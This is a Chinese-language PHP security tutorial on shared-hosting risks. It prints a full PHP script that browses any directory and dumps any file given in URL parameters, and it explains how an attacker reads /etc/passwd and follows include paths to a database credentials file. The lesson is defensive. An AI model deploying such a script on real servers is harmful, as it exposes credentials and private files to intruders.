首頁  >  文章  >  後端開發  >  PHP安全-檔案系統瀏覽

PHP安全-檔案系統瀏覽

黄舟
黄舟原創
2017-02-20 09:30:08837瀏覽



 檔案系統瀏覽

  除了能在共享伺服器上讀取任意檔案之外,攻擊者還能建立一個可以瀏覽檔案系統的腳本。由於你的大多數敏感檔案不會保存在網站主目錄下,此類腳本一般用於找到你的原始檔案的所在位置。請看下例:

 

 <pre class="brush:php;toolbar:false">
 
  <?php
 
  if (isset($_GET[&#39;dir&#39;]))
  {
    ls($_GET[&#39;dir&#39;]);
  }
  elseif (isset($_GET[&#39;file&#39;]))
  {
    cat($_GET[&#39;file&#39;]);
  }
  else
  {
    ls(&#39;/&#39;);
  }
 
  function cat($file)
  {
    echo htmlentities(file_get_contents($file),
ENT_QUOTES, &#39;UTF-8&#39;));
  }
 
  function ls($dir)
  {
    $handle = dir($dir);
 
    while ($filename = $handle->read())
    {
      $size = filesize("$dir$filename");
 
      if (is_dir("$dir$filename"))
      {
        $type = &#39;dir&#39;;
        $filename .= &#39;/&#39;;
      }
      else
      {
        $type = &#39;file&#39;;
      }
 
      if (is_readable("$dir$filename"))
      {
        $line = str_pad($size, 15);
        $line .= "<a
href=\"{$_SERVER[&#39;PHP_SELF&#39;]}";
        $line .=
"?$type=$dir$filename\">$filename</a>";
      }
      else
      {
        $line = str_pad($size, 15);
        $line .= $filename;
      }
 
      echo "$line\n";
    }
 
    $handle->close();
  }
 
  ?>
 
  


 

  攻擊者可能會先察看/etc/passwd檔案或/home目錄以取得該伺服器上的使用者名稱清單;可以透過語言的結構如include或require來發現儲存在網站主目錄以外的來源檔案所在位置。例如,考慮一下下面的腳本檔案/home/victim/public_html/admin.php:

 

  <?php
 
  include &#39;../inc/db.inc&#39;;
 
  /* ... */
 
  ?>


如果攻擊者設法顯示了該檔案的原始碼,就可以發現db.inc的所在位置,同時他可以使用readfile()函數來使其內容暴露,並取得了資料庫的存取權。這樣,在這個環境中保存db.inc於網站主目錄以外的做法並未起到保護作用。

  這項攻擊說明了為什麼要把共享伺服器上的所有原始檔案看成是公開的,並且要選擇資料庫實現所有敏感資料的保存。

 

 以上就是PHP安全-檔案系統瀏覽的內容,更多相關內容請關注PHP中文網(www.php.cn)!


陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn